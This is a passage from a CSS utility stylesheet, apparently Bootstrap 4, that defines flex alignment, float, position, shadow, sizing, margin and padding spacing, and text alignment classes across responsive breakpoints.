!important;\n flex-wrap: wrap-reverse !important;\n }\n .flex-xl-fill {\n -ms-flex: 1 1 auto !important;\n flex: 1 1 auto !important;\n }\n .flex-xl-grow-0 {\n -ms-flex-positive: 0 !important;\n flex-grow: 0 !important;\n }\n .flex-xl-grow-1 {\n -ms-flex-positive: 1 !important;\n flex-grow: 1 !important;\n }\n .flex-xl-shrink-0 {\n -ms-flex-negative: 0 !important;\n flex-shrink: 0 !important;\n }\n .flex-xl-shrink-1 {\n -ms-flex-negative: 1 !important;\n flex-shrink: 1 !important;\n }\n .justify-content-xl-start {\n -ms-flex-pack: start !important;\n justify-content: flex-start !important;\n }\n .justify-content-xl-end {\n -ms-flex-pack: end !important;\n justify-content: flex-end !important;\n }\n .justify-content-xl-center {\n -ms-flex-pack: center !important;\n justify-content: center !important;\n }\n .justify-content-xl-between {\n -ms-flex-pack: justify !important;\n justify-content: space-between !important;\n }\n .justify-content-xl-around {\n -ms-flex-pack: distribute !important;\n justify-content: space-around !important;\n }\n .align-items-xl-start {\n -ms-flex-align: start !important;\n align-items: flex-start !important;\n }\n .align-items-xl-end {\n -ms-flex-align: end !important;\n align-items: flex-end !important;\n }\n .align-items-xl-center {\n -ms-flex-align: center !important;\n align-items: center !important;\n }\n .align-items-xl-baseline {\n -ms-flex-align: baseline !important;\n align-items: baseline !important;\n }\n .align-items-xl-stretch {\n -ms-flex-align: stretch !important;\n align-items: stretch !important;\n }\n .align-content-xl-start {\n -ms-flex-line-pack: start !important;\n align-content: flex-start !important;\n }\n .align-content-xl-end {\n -ms-flex-line-pack: end !important;\n align-content: flex-end !important;\n }\n .align-content-xl-center {\n -ms-flex-line-pack: center !important;\n align-content: center !important;\n }\n .align-content-xl-between {\n -ms-flex-line-pack: justify !important;\n align-content: space-between !important;\n }\n .align-content-xl-around {\n -ms-flex-line-pack: distribute !important;\n align-content: space-around !important;\n }\n .align-content-xl-stretch {\n -ms-flex-line-pack: stretch !important;\n align-content: stretch !important;\n }\n .align-self-xl-auto {\n -ms-flex-item-align: auto !important;\n align-self: auto !important;\n }\n .align-self-xl-start {\n -ms-flex-item-align: start !important;\n align-self: flex-start !important;\n }\n .align-self-xl-end {\n -ms-flex-item-align: end !important;\n align-self: flex-end !important;\n }\n .align-self-xl-center {\n -ms-flex-item-align: center !important;\n align-self: center !important;\n }\n .align-self-xl-baseline {\n -ms-flex-item-align: baseline !important;\n align-self: baseline !important;\n }\n .align-self-xl-stretch {\n -ms-flex-item-align: stretch !important;\n align-self: stretch !important;\n }\n}\n\n.float-left {\n float: left !important;\n}\n\n.float-right {\n float: right !important;\n}\n\n.float-none {\n float: none !important;\n}\n\n@media (min-width: 576px) {\n .float-sm-left {\n float: left !important;\n }\n .float-sm-right {\n float: right !important;\n }\n .float-sm-none {\n float: none !important;\n }\n}\n\n@media (min-width: 768px) {\n .float-md-left {\n float: left !important;\n }\n .float-md-right {\n float: right !important;\n }\n .float-md-none {\n float: none !important;\n }\n}\n\n@media (min-width: 992px) {\n .float-lg-left {\n float: left !important;\n }\n .float-lg-right {\n float: right !important;\n }\n .float-lg-none {\n float: none !important;\n }\n}\n\n@media (min-width: 1200px) {\n .float-xl-left {\n float: left !important;\n }\n .float-xl-right {\n float: right !important;\n }\n .float-xl-none {\n float: none !important;\n }\n}\n\n.position-static {\n position: static !important;\n}\n\n.position-relative {\n position: relative !important;\n}\n\n.position-absolute {\n position: absolute !important;\n}\n\n.position-fixed {\n position: fixed !important;\n}\n\n.position-sticky {\n position: -webkit-sticky !important;\n position: sticky !important;\n}\n\n.fixed-top {\n position: fixed;\n top: 0;\n right: 0;\n left: 0;\n z-index: 1030;\n}\n\n.fixed-bottom {\n position: fixed;\n right: 0;\n bottom: 0;\n left: 0;\n z-index: 1030;\n}\n\n@supports ((position: -webkit-sticky) or (position: sticky)) {\n .sticky-top {\n position: -webkit-sticky;\n position: sticky;\n top: 0;\n z-index: 1020;\n }\n}\n\n.sr-only {\n position: absolute;\n width: 1px;\n height: 1px;\n padding: 0;\n overflow: hidden;\n clip: rect(0, 0, 0, 0);\n white-space: nowrap;\n border: 0;\n}\n\n.sr-only-focusable:active, .sr-only-focusable:focus {\n position: static;\n width: auto;\n height: auto;\n overflow: visible;\n clip: auto;\n white-space: normal;\n}\n\n.shadow-sm {\n box-shadow: 0 0.125rem 0.25rem rgba(0, 0, 0, 0.075) !important;\n}\n\n.shadow {\n box-shadow: 0 0.5rem 1rem rgba(0, 0, 0, 0.15) !important;\n}\n\n.shadow-lg {\n box-shadow: 0 1rem 3rem rgba(0, 0, 0, 0.175) !important;\n}\n\n.shadow-none {\n box-shadow: none !important;\n}\n\n.w-25 {\n width: 25% !important;\n}\n\n.w-50 {\n width: 50% !important;\n}\n\n.w-75 {\n width: 75% !important;\n}\n\n.w-100 {\n width: 100% !important;\n}\n\n.w-auto {\n width: auto !important;\n}\n\n.h-25 {\n height: 25% !important;\n}\n\n.h-50 {\n height: 50% !important;\n}\n\n.h-75 {\n height: 75% !important;\n}\n\n.h-100 {\n height: 100% !important;\n}\n\n.h-auto {\n height: auto !important;\n}\n\n.mw-100 {\n max-width: 100% !important;\n}\n\n.mh-100 {\n max-height: 100% !important;\n}\n\n.m-0 {\n margin: 0 !important;\n}\n\n.mt-0,\n.my-0 {\n margin-top: 0 !important;\n}\n\n.mr-0,\n.mx-0 {\n margin-right: 0 !important;\n}\n\n.mb-0,\n.my-0 {\n margin-bottom: 0 !important;\n}\n\n.ml-0,\n.mx-0 {\n margin-left: 0 !important;\n}\n\n.m-1 {\n margin: 0.25rem !important;\n}\n\n.mt-1,\n.my-1 {\n margin-top: 0.25rem !important;\n}\n\n.mr-1,\n.mx-1 {\n margin-right: 0.25rem !important;\n}\n\n.mb-1,\n.my-1 {\n margin-bottom: 0.25rem !important;\n}\n\n.ml-1,\n.mx-1 {\n margin-left: 0.25rem !important;\n}\n\n.m-2 {\n margin: 0.5rem !important;\n}\n\n.mt-2,\n.my-2 {\n margin-top: 0.5rem !important;\n}\n\n.mr-2,\n.mx-2 {\n margin-right: 0.5rem !important;\n}\n\n.mb-2,\n.my-2 {\n margin-bottom: 0.5rem !important;\n}\n\n.ml-2,\n.mx-2 {\n margin-left: 0.5rem !important;\n}\n\n.m-3 {\n margin: 1rem !important;\n}\n\n.mt-3,\n.my-3 {\n margin-top: 1rem !important;\n}\n\n.mr-3,\n.mx-3 {\n margin-right: 1rem !important;\n}\n\n.mb-3,\n.my-3 {\n margin-bottom: 1rem !important;\n}\n\n.ml-3,\n.mx-3 {\n margin-left: 1rem !important;\n}\n\n.m-4 {\n margin: 1.5rem !important;\n}\n\n.mt-4,\n.my-4 {\n margin-top: 1.5rem !important;\n}\n\n.mr-4,\n.mx-4 {\n margin-right: 1.5rem !important;\n}\n\n.mb-4,\n.my-4 {\n margin-bottom: 1.5rem !important;\n}\n\n.ml-4,\n.mx-4 {\n margin-left: 1.5rem !important;\n}\n\n.m-5 {\n margin: 3rem !important;\n}\n\n.mt-5,\n.my-5 {\n margin-top: 3rem !important;\n}\n\n.mr-5,\n.mx-5 {\n margin-right: 3rem !important;\n}\n\n.mb-5,\n.my-5 {\n margin-bottom: 3rem !important;\n}\n\n.ml-5,\n.mx-5 {\n margin-left: 3rem !important;\n}\n\n.p-0 {\n padding: 0 !important;\n}\n\n.pt-0,\n.py-0 {\n padding-top: 0 !important;\n}\n\n.pr-0,\n.px-0 {\n padding-right: 0 !important;\n}\n\n.pb-0,\n.py-0 {\n padding-bottom: 0 !important;\n}\n\n.pl-0,\n.px-0 {\n padding-left: 0 !important;\n}\n\n.p-1 {\n padding: 0.25rem !important;\n}\n\n.pt-1,\n.py-1 {\n padding-top: 0.25rem !important;\n}\n\n.pr-1,\n.px-1 {\n padding-right: 0.25rem !important;\n}\n\n.pb-1,\n.py-1 {\n padding-bottom: 0.25rem !important;\n}\n\n.pl-1,\n.px-1 {\n padding-left: 0.25rem !important;\n}\n\n.p-2 {\n padding: 0.5rem !important;\n}\n\n.pt-2,\n.py-2 {\n padding-top: 0.5rem !important;\n}\n\n.pr-2,\n.px-2 {\n padding-right: 0.5rem !important;\n}\n\n.pb-2,\n.py-2 {\n padding-bottom: 0.5rem !important;\n}\n\n.pl-2,\n.px-2 {\n padding-left: 0.5rem !important;\n}\n\n.p-3 {\n padding: 1rem !important;\n}\n\n.pt-3,\n.py-3 {\n padding-top: 1rem !important;\n}\n\n.pr-3,\n.px-3 {\n padding-right: 1rem !important;\n}\n\n.pb-3,\n.py-3 {\n padding-bottom: 1rem !important;\n}\n\n.pl-3,\n.px-3 {\n padding-left: 1rem !important;\n}\n\n.p-4 {\n padding: 1.5rem !important;\n}\n\n.pt-4,\n.py-4 {\n padding-top: 1.5rem !important;\n}\n\n.pr-4,\n.px-4 {\n padding-right: 1.5rem !important;\n}\n\n.pb-4,\n.py-4 {\n padding-bottom: 1.5rem !important;\n}\n\n.pl-4,\n.px-4 {\n padding-left: 1.5rem !important;\n}\n\n.p-5 {\n padding: 3rem !important;\n}\n\n.pt-5,\n.py-5 {\n padding-top: 3rem !important;\n}\n\n.pr-5,\n.px-5 {\n padding-right: 3rem !important;\n}\n\n.pb-5,\n.py-5 {\n padding-bottom: 3rem !important;\n}\n\n.pl-5,\n.px-5 {\n padding-left: 3rem !important;\n}\n\n.m-auto {\n margin: auto !important;\n}\n\n.mt-auto,\n.my-auto {\n margin-top: auto !important;\n}\n\n.mr-auto,\n.mx-auto {\n margin-right: auto !important;\n}\n\n.mb-auto,\n.my-auto {\n margin-bottom: auto !important;\n}\n\n.ml-auto,\n.mx-auto {\n margin-left: auto !important;\n}\n\n@media (min-width: 576px) {\n .m-sm-0 {\n margin: 0 !important;\n }\n .mt-sm-0,\n .my-sm-0 {\n margin-top: 0 !important;\n }\n .mr-sm-0,\n .mx-sm-0 {\n margin-right: 0 !important;\n }\n .mb-sm-0,\n .my-sm-0 {\n margin-bottom: 0 !important;\n }\n .ml-sm-0,\n .mx-sm-0 {\n margin-left: 0 !important;\n }\n .m-sm-1 {\n margin: 0.25rem !important;\n }\n .mt-sm-1,\n .my-sm-1 {\n margin-top: 0.25rem !important;\n }\n .mr-sm-1,\n .mx-sm-1 {\n margin-right: 0.25rem !important;\n }\n .mb-sm-1,\n .my-sm-1 {\n margin-bottom: 0.25rem !important;\n }\n .ml-sm-1,\n .mx-sm-1 {\n margin-left: 0.25rem !important;\n }\n .m-sm-2 {\n margin: 0.5rem !important;\n }\n .mt-sm-2,\n .my-sm-2 {\n margin-top: 0.5rem !important;\n }\n .mr-sm-2,\n .mx-sm-2 {\n margin-right: 0.5rem !important;\n }\n .mb-sm-2,\n .my-sm-2 {\n margin-bottom: 0.5rem !important;\n }\n .ml-sm-2,\n .mx-sm-2 {\n margin-left: 0.5rem !important;\n }\n .m-sm-3 {\n margin: 1rem !important;\n }\n .mt-sm-3,\n .my-sm-3 {\n margin-top: 1rem !important;\n }\n .mr-sm-3,\n .mx-sm-3 {\n margin-right: 1rem !important;\n }\n .mb-sm-3,\n .my-sm-3 {\n margin-bottom: 1rem !important;\n }\n .ml-sm-3,\n .mx-sm-3 {\n margin-left: 1rem !important;\n }\n .m-sm-4 {\n margin: 1.5rem !important;\n }\n .mt-sm-4,\n .my-sm-4 {\n margin-top: 1.5rem !important;\n }\n .mr-sm-4,\n .mx-sm-4 {\n margin-right: 1.5rem !important;\n }\n .mb-sm-4,\n .my-sm-4 {\n margin-bottom: 1.5rem !important;\n }\n .ml-sm-4,\n .mx-sm-4 {\n margin-left: 1.5rem !important;\n }\n .m-sm-5 {\n margin: 3rem !important;\n }\n .mt-sm-5,\n .my-sm-5 {\n margin-top: 3rem !important;\n }\n .mr-sm-5,\n .mx-sm-5 {\n margin-right: 3rem !important;\n }\n .mb-sm-5,\n .my-sm-5 {\n margin-bottom: 3rem !important;\n }\n .ml-sm-5,\n .mx-sm-5 {\n margin-left: 3rem !important;\n }\n .p-sm-0 {\n padding: 0 !important;\n }\n .pt-sm-0,\n .py-sm-0 {\n padding-top: 0 !important;\n }\n .pr-sm-0,\n .px-sm-0 {\n padding-right: 0 !important;\n }\n .pb-sm-0,\n .py-sm-0 {\n padding-bottom: 0 !important;\n }\n .pl-sm-0,\n .px-sm-0 {\n padding-left: 0 !important;\n }\n .p-sm-1 {\n padding: 0.25rem !important;\n }\n .pt-sm-1,\n .py-sm-1 {\n padding-top: 0.25rem !important;\n }\n .pr-sm-1,\n .px-sm-1 {\n padding-right: 0.25rem !important;\n }\n .pb-sm-1,\n .py-sm-1 {\n padding-bottom: 0.25rem !important;\n }\n .pl-sm-1,\n .px-sm-1 {\n padding-left: 0.25rem !important;\n }\n .p-sm-2 {\n padding: 0.5rem !important;\n }\n .pt-sm-2,\n .py-sm-2 {\n padding-top: 0.5rem !important;\n }\n .pr-sm-2,\n .px-sm-2 {\n padding-right: 0.5rem !important;\n }\n .pb-sm-2,\n .py-sm-2 {\n padding-bottom: 0.5rem !important;\n }\n .pl-sm-2,\n .px-sm-2 {\n padding-left: 0.5rem !important;\n }\n .p-sm-3 {\n padding: 1rem !important;\n }\n .pt-sm-3,\n .py-sm-3 {\n padding-top: 1rem !important;\n }\n .pr-sm-3,\n .px-sm-3 {\n padding-right: 1rem !important;\n }\n .pb-sm-3,\n .py-sm-3 {\n padding-bottom: 1rem !important;\n }\n .pl-sm-3,\n .px-sm-3 {\n padding-left: 1rem !important;\n }\n .p-sm-4 {\n padding: 1.5rem !important;\n }\n .pt-sm-4,\n .py-sm-4 {\n padding-top: 1.5rem !important;\n }\n .pr-sm-4,\n .px-sm-4 {\n padding-right: 1.5rem !important;\n }\n .pb-sm-4,\n .py-sm-4 {\n padding-bottom: 1.5rem !important;\n }\n .pl-sm-4,\n .px-sm-4 {\n padding-left: 1.5rem !important;\n }\n .p-sm-5 {\n padding: 3rem !important;\n }\n .pt-sm-5,\n .py-sm-5 {\n padding-top: 3rem !important;\n }\n .pr-sm-5,\n .px-sm-5 {\n padding-right: 3rem !important;\n }\n .pb-sm-5,\n .py-sm-5 {\n padding-bottom: 3rem !important;\n }\n .pl-sm-5,\n .px-sm-5 {\n padding-left: 3rem !important;\n }\n .m-sm-auto {\n margin: auto !important;\n }\n .mt-sm-auto,\n .my-sm-auto {\n margin-top: auto !important;\n }\n .mr-sm-auto,\n .mx-sm-auto {\n margin-right: auto !important;\n }\n .mb-sm-auto,\n .my-sm-auto {\n margin-bottom: auto !important;\n }\n .ml-sm-auto,\n .mx-sm-auto {\n margin-left: auto !important;\n }\n}\n\n@media (min-width: 768px) {\n .m-md-0 {\n margin: 0 !important;\n }\n .mt-md-0,\n .my-md-0 {\n margin-top: 0 !important;\n }\n .mr-md-0,\n .mx-md-0 {\n margin-right: 0 !important;\n }\n .mb-md-0,\n .my-md-0 {\n margin-bottom: 0 !important;\n }\n .ml-md-0,\n .mx-md-0 {\n margin-left: 0 !important;\n }\n .m-md-1 {\n margin: 0.25rem !important;\n }\n .mt-md-1,\n .my-md-1 {\n margin-top: 0.25rem !important;\n }\n .mr-md-1,\n .mx-md-1 {\n margin-right: 0.25rem !important;\n }\n .mb-md-1,\n .my-md-1 {\n margin-bottom: 0.25rem !important;\n }\n .ml-md-1,\n .mx-md-1 {\n margin-left: 0.25rem !important;\n }\n .m-md-2 {\n margin: 0.5rem !important;\n }\n .mt-md-2,\n .my-md-2 {\n margin-top: 0.5rem !important;\n }\n .mr-md-2,\n .mx-md-2 {\n margin-right: 0.5rem !important;\n }\n .mb-md-2,\n .my-md-2 {\n margin-bottom: 0.5rem !important;\n }\n .ml-md-2,\n .mx-md-2 {\n margin-left: 0.5rem !important;\n }\n .m-md-3 {\n margin: 1rem !important;\n }\n .mt-md-3,\n .my-md-3 {\n margin-top: 1rem !important;\n }\n .mr-md-3,\n .mx-md-3 {\n margin-right: 1rem !important;\n }\n .mb-md-3,\n .my-md-3 {\n margin-bottom: 1rem !important;\n }\n .ml-md-3,\n .mx-md-3 {\n margin-left: 1rem !important;\n }\n .m-md-4 {\n margin: 1.5rem !important;\n }\n .mt-md-4,\n .my-md-4 {\n margin-top: 1.5rem !important;\n }\n .mr-md-4,\n .mx-md-4 {\n margin-right: 1.5rem !important;\n }\n .mb-md-4,\n .my-md-4 {\n margin-bottom: 1.5rem !important;\n }\n .ml-md-4,\n .mx-md-4 {\n margin-left: 1.5rem !important;\n }\n .m-md-5 {\n margin: 3rem !important;\n }\n .mt-md-5,\n .my-md-5 {\n margin-top: 3rem !important;\n }\n .mr-md-5,\n .mx-md-5 {\n margin-right: 3rem !important;\n }\n .mb-md-5,\n .my-md-5 {\n margin-bottom: 3rem !important;\n }\n .ml-md-5,\n .mx-md-5 {\n margin-left: 3rem !important;\n }\n .p-md-0 {\n padding: 0 !important;\n }\n .pt-md-0,\n .py-md-0 {\n padding-top: 0 !important;\n }\n .pr-md-0,\n .px-md-0 {\n padding-right: 0 !important;\n }\n .pb-md-0,\n .py-md-0 {\n padding-bottom: 0 !important;\n }\n .pl-md-0,\n .px-md-0 {\n padding-left: 0 !important;\n }\n .p-md-1 {\n padding: 0.25rem !important;\n }\n .pt-md-1,\n .py-md-1 {\n padding-top: 0.25rem !important;\n }\n .pr-md-1,\n .px-md-1 {\n padding-right: 0.25rem !important;\n }\n .pb-md-1,\n .py-md-1 {\n padding-bottom: 0.25rem !important;\n }\n .pl-md-1,\n .px-md-1 {\n padding-left: 0.25rem !important;\n }\n .p-md-2 {\n padding: 0.5rem !important;\n }\n .pt-md-2,\n .py-md-2 {\n padding-top: 0.5rem !important;\n }\n .pr-md-2,\n .px-md-2 {\n padding-right: 0.5rem !important;\n }\n .pb-md-2,\n .py-md-2 {\n padding-bottom: 0.5rem !important;\n }\n .pl-md-2,\n .px-md-2 {\n padding-left: 0.5rem !important;\n }\n .p-md-3 {\n padding: 1rem !important;\n }\n .pt-md-3,\n .py-md-3 {\n padding-top: 1rem !important;\n }\n .pr-md-3,\n .px-md-3 {\n padding-right: 1rem !important;\n }\n .pb-md-3,\n .py-md-3 {\n padding-bottom: 1rem !important;\n }\n .pl-md-3,\n .px-md-3 {\n padding-left: 1rem !important;\n }\n .p-md-4 {\n padding: 1.5rem !important;\n }\n .pt-md-4,\n .py-md-4 {\n padding-top: 1.5rem !important;\n }\n .pr-md-4,\n .px-md-4 {\n padding-right: 1.5rem !important;\n }\n .pb-md-4,\n .py-md-4 {\n padding-bottom: 1.5rem !important;\n }\n .pl-md-4,\n .px-md-4 {\n padding-left: 1.5rem !important;\n }\n .p-md-5 {\n padding: 3rem !important;\n }\n .pt-md-5,\n .py-md-5 {\n padding-top: 3rem !important;\n }\n .pr-md-5,\n .px-md-5 {\n padding-right: 3rem !important;\n }\n .pb-md-5,\n .py-md-5 {\n padding-bottom: 3rem !important;\n }\n .pl-md-5,\n .px-md-5 {\n padding-left: 3rem !important;\n }\n .m-md-auto {\n margin: auto !important;\n }\n .mt-md-auto,\n .my-md-auto {\n margin-top: auto !important;\n }\n .mr-md-auto,\n .mx-md-auto {\n margin-right: auto !important;\n }\n .mb-md-auto,\n .my-md-auto {\n margin-bottom: auto !important;\n }\n .ml-md-auto,\n .mx-md-auto {\n margin-left: auto !important;\n }\n}\n\n@media (min-width: 992px) {\n .m-lg-0 {\n margin: 0 !important;\n }\n .mt-lg-0,\n .my-lg-0 {\n margin-top: 0 !important;\n }\n .mr-lg-0,\n .mx-lg-0 {\n margin-right: 0 !important;\n }\n .mb-lg-0,\n .my-lg-0 {\n margin-bottom: 0 !important;\n }\n .ml-lg-0,\n .mx-lg-0 {\n margin-left: 0 !important;\n }\n .m-lg-1 {\n margin: 0.25rem !important;\n }\n .mt-lg-1,\n .my-lg-1 {\n margin-top: 0.25rem !important;\n }\n .mr-lg-1,\n .mx-lg-1 {\n margin-right: 0.25rem !important;\n }\n .mb-lg-1,\n .my-lg-1 {\n margin-bottom: 0.25rem !important;\n }\n .ml-lg-1,\n .mx-lg-1 {\n margin-left: 0.25rem !important;\n }\n .m-lg-2 {\n margin: 0.5rem !important;\n }\n .mt-lg-2,\n .my-lg-2 {\n margin-top: 0.5rem !important;\n }\n .mr-lg-2,\n .mx-lg-2 {\n margin-right: 0.5rem !important;\n }\n .mb-lg-2,\n .my-lg-2 {\n margin-bottom: 0.5rem !important;\n }\n .ml-lg-2,\n .mx-lg-2 {\n margin-left: 0.5rem !important;\n }\n .m-lg-3 {\n margin: 1rem !important;\n }\n .mt-lg-3,\n .my-lg-3 {\n margin-top: 1rem !important;\n }\n .mr-lg-3,\n .mx-lg-3 {\n margin-right: 1rem !important;\n }\n .mb-lg-3,\n .my-lg-3 {\n margin-bottom: 1rem !important;\n }\n .ml-lg-3,\n .mx-lg-3 {\n margin-left: 1rem !important;\n }\n .m-lg-4 {\n margin: 1.5rem !important;\n }\n .mt-lg-4,\n .my-lg-4 {\n margin-top: 1.5rem !important;\n }\n .mr-lg-4,\n .mx-lg-4 {\n margin-right: 1.5rem !important;\n }\n .mb-lg-4,\n .my-lg-4 {\n margin-bottom: 1.5rem !important;\n }\n .ml-lg-4,\n .mx-lg-4 {\n margin-left: 1.5rem !important;\n }\n .m-lg-5 {\n margin: 3rem !important;\n }\n .mt-lg-5,\n .my-lg-5 {\n margin-top: 3rem !important;\n }\n .mr-lg-5,\n .mx-lg-5 {\n margin-right: 3rem !important;\n }\n .mb-lg-5,\n .my-lg-5 {\n margin-bottom: 3rem !important;\n }\n .ml-lg-5,\n .mx-lg-5 {\n margin-left: 3rem !important;\n }\n .p-lg-0 {\n padding: 0 !important;\n }\n .pt-lg-0,\n .py-lg-0 {\n padding-top: 0 !important;\n }\n .pr-lg-0,\n .px-lg-0 {\n padding-right: 0 !important;\n }\n .pb-lg-0,\n .py-lg-0 {\n padding-bottom: 0 !important;\n }\n .pl-lg-0,\n .px-lg-0 {\n padding-left: 0 !important;\n }\n .p-lg-1 {\n padding: 0.25rem !important;\n }\n .pt-lg-1,\n .py-lg-1 {\n padding-top: 0.25rem !important;\n }\n .pr-lg-1,\n .px-lg-1 {\n padding-right: 0.25rem !important;\n }\n .pb-lg-1,\n .py-lg-1 {\n padding-bottom: 0.25rem !important;\n }\n .pl-lg-1,\n .px-lg-1 {\n padding-left: 0.25rem !important;\n }\n .p-lg-2 {\n padding: 0.5rem !important;\n }\n .pt-lg-2,\n .py-lg-2 {\n padding-top: 0.5rem !important;\n }\n .pr-lg-2,\n .px-lg-2 {\n padding-right: 0.5rem !important;\n }\n .pb-lg-2,\n .py-lg-2 {\n padding-bottom: 0.5rem !important;\n }\n .pl-lg-2,\n .px-lg-2 {\n padding-left: 0.5rem !important;\n }\n .p-lg-3 {\n padding: 1rem !important;\n }\n .pt-lg-3,\n .py-lg-3 {\n padding-top: 1rem !important;\n }\n .pr-lg-3,\n .px-lg-3 {\n padding-right: 1rem !important;\n }\n .pb-lg-3,\n .py-lg-3 {\n padding-bottom: 1rem !important;\n }\n .pl-lg-3,\n .px-lg-3 {\n padding-left: 1rem !important;\n }\n .p-lg-4 {\n padding: 1.5rem !important;\n }\n .pt-lg-4,\n .py-lg-4 {\n padding-top: 1.5rem !important;\n }\n .pr-lg-4,\n .px-lg-4 {\n padding-right: 1.5rem !important;\n }\n .pb-lg-4,\n .py-lg-4 {\n padding-bottom: 1.5rem !important;\n }\n .pl-lg-4,\n .px-lg-4 {\n padding-left: 1.5rem !important;\n }\n .p-lg-5 {\n padding: 3rem !important;\n }\n .pt-lg-5,\n .py-lg-5 {\n padding-top: 3rem !important;\n }\n .pr-lg-5,\n .px-lg-5 {\n padding-right: 3rem !important;\n }\n .pb-lg-5,\n .py-lg-5 {\n padding-bottom: 3rem !important;\n }\n .pl-lg-5,\n .px-lg-5 {\n padding-left: 3rem !important;\n }\n .m-lg-auto {\n margin: auto !important;\n }\n .mt-lg-auto,\n .my-lg-auto {\n margin-top: auto !important;\n }\n .mr-lg-auto,\n .mx-lg-auto {\n margin-right: auto !important;\n }\n .mb-lg-auto,\n .my-lg-auto {\n margin-bottom: auto !important;\n }\n .ml-lg-auto,\n .mx-lg-auto {\n margin-left: auto !important;\n }\n}\n\n@media (min-width: 1200px) {\n .m-xl-0 {\n margin: 0 !important;\n }\n .mt-xl-0,\n .my-xl-0 {\n margin-top: 0 !important;\n }\n .mr-xl-0,\n .mx-xl-0 {\n margin-right: 0 !important;\n }\n .mb-xl-0,\n .my-xl-0 {\n margin-bottom: 0 !important;\n }\n .ml-xl-0,\n .mx-xl-0 {\n margin-left: 0 !important;\n }\n .m-xl-1 {\n margin: 0.25rem !important;\n }\n .mt-xl-1,\n .my-xl-1 {\n margin-top: 0.25rem !important;\n }\n .mr-xl-1,\n .mx-xl-1 {\n margin-right: 0.25rem !important;\n }\n .mb-xl-1,\n .my-xl-1 {\n margin-bottom: 0.25rem !important;\n }\n .ml-xl-1,\n .mx-xl-1 {\n margin-left: 0.25rem !important;\n }\n .m-xl-2 {\n margin: 0.5rem !important;\n }\n .mt-xl-2,\n .my-xl-2 {\n margin-top: 0.5rem !important;\n }\n .mr-xl-2,\n .mx-xl-2 {\n margin-right: 0.5rem !important;\n }\n .mb-xl-2,\n .my-xl-2 {\n margin-bottom: 0.5rem !important;\n }\n .ml-xl-2,\n .mx-xl-2 {\n margin-left: 0.5rem !important;\n }\n .m-xl-3 {\n margin: 1rem !important;\n }\n .mt-xl-3,\n .my-xl-3 {\n margin-top: 1rem !important;\n }\n .mr-xl-3,\n .mx-xl-3 {\n margin-right: 1rem !important;\n }\n .mb-xl-3,\n .my-xl-3 {\n margin-bottom: 1rem !important;\n }\n .ml-xl-3,\n .mx-xl-3 {\n margin-left: 1rem !important;\n }\n .m-xl-4 {\n margin: 1.5rem !important;\n }\n .mt-xl-4,\n .my-xl-4 {\n margin-top: 1.5rem !important;\n }\n .mr-xl-4,\n .mx-xl-4 {\n margin-right: 1.5rem !important;\n }\n .mb-xl-4,\n .my-xl-4 {\n margin-bottom: 1.5rem !important;\n }\n .ml-xl-4,\n .mx-xl-4 {\n margin-left: 1.5rem !important;\n }\n .m-xl-5 {\n margin: 3rem !important;\n }\n .mt-xl-5,\n .my-xl-5 {\n margin-top: 3rem !important;\n }\n .mr-xl-5,\n .mx-xl-5 {\n margin-right: 3rem !important;\n }\n .mb-xl-5,\n .my-xl-5 {\n margin-bottom: 3rem !important;\n }\n .ml-xl-5,\n .mx-xl-5 {\n margin-left: 3rem !important;\n }\n .p-xl-0 {\n padding: 0 !important;\n }\n .pt-xl-0,\n .py-xl-0 {\n padding-top: 0 !important;\n }\n .pr-xl-0,\n .px-xl-0 {\n padding-right: 0 !important;\n }\n .pb-xl-0,\n .py-xl-0 {\n padding-bottom: 0 !important;\n }\n .pl-xl-0,\n .px-xl-0 {\n padding-left: 0 !important;\n }\n .p-xl-1 {\n padding: 0.25rem !important;\n }\n .pt-xl-1,\n .py-xl-1 {\n padding-top: 0.25rem !important;\n }\n .pr-xl-1,\n .px-xl-1 {\n padding-right: 0.25rem !important;\n }\n .pb-xl-1,\n .py-xl-1 {\n padding-bottom: 0.25rem !important;\n }\n .pl-xl-1,\n .px-xl-1 {\n padding-left: 0.25rem !important;\n }\n .p-xl-2 {\n padding: 0.5rem !important;\n }\n .pt-xl-2,\n .py-xl-2 {\n padding-top: 0.5rem !important;\n }\n .pr-xl-2,\n .px-xl-2 {\n padding-right: 0.5rem !important;\n }\n .pb-xl-2,\n .py-xl-2 {\n padding-bottom: 0.5rem !important;\n }\n .pl-xl-2,\n .px-xl-2 {\n padding-left: 0.5rem !important;\n }\n .p-xl-3 {\n padding: 1rem !important;\n }\n .pt-xl-3,\n .py-xl-3 {\n padding-top: 1rem !important;\n }\n .pr-xl-3,\n .px-xl-3 {\n padding-right: 1rem !important;\n }\n .pb-xl-3,\n .py-xl-3 {\n padding-bottom: 1rem !important;\n }\n .pl-xl-3,\n .px-xl-3 {\n padding-left: 1rem !important;\n }\n .p-xl-4 {\n padding: 1.5rem !important;\n }\n .pt-xl-4,\n .py-xl-4 {\n padding-top: 1.5rem !important;\n }\n .pr-xl-4,\n .px-xl-4 {\n padding-right: 1.5rem !important;\n }\n .pb-xl-4,\n .py-xl-4 {\n padding-bottom: 1.5rem !important;\n }\n .pl-xl-4,\n .px-xl-4 {\n padding-left: 1.5rem !important;\n }\n .p-xl-5 {\n padding: 3rem !important;\n }\n .pt-xl-5,\n .py-xl-5 {\n padding-top: 3rem !important;\n }\n .pr-xl-5,\n .px-xl-5 {\n padding-right: 3rem !important;\n }\n .pb-xl-5,\n .py-xl-5 {\n padding-bottom: 3rem !important;\n }\n .pl-xl-5,\n .px-xl-5 {\n padding-left: 3rem !important;\n }\n .m-xl-auto {\n margin: auto !important;\n }\n .mt-xl-auto,\n .my-xl-auto {\n margin-top: auto !important;\n }\n .mr-xl-auto,\n .mx-xl-auto {\n margin-right: auto !important;\n }\n .mb-xl-auto,\n .my-xl-auto {\n margin-bottom: auto !important;\n }\n .ml-xl-auto,\n .mx-xl-auto {\n margin-left: auto !important;\n }\n}\n\n.text-monospace {\n font-family: SFMono-Regular, Menlo, Monaco, Consolas, \"Liberation Mono\", \"Courier New\", monospace;\n}\n\n.text-justify {\n text-align: justify !important;\n}\n\n.text-nowrap {\n white-space: nowrap !important;\n}\n\n.text-truncate {\n overflow: hidden;\n text-overflow: ellipsis;\n white-space: nowrap;\n}\n\n.text-left {\n text-align: left !important;\n}\n\n.text-right {\n text-align: right !important;\n}\n\n.text-center {\n text-align: center !important;\n}\n\n@media (min-width: 576px) {\n .text-sm-left {\n text-align: left !important;\n }\n .text-sm-right {\n text-align: right !important;\n }\n .text-sm-center {\n text-align: center !important;\n }\n}\n\n@media (min-width: 768px) {\n .text-md-left {\n text-align: left !important;\n }\n .text-md-right {\n text-align: right !important;\n }\n 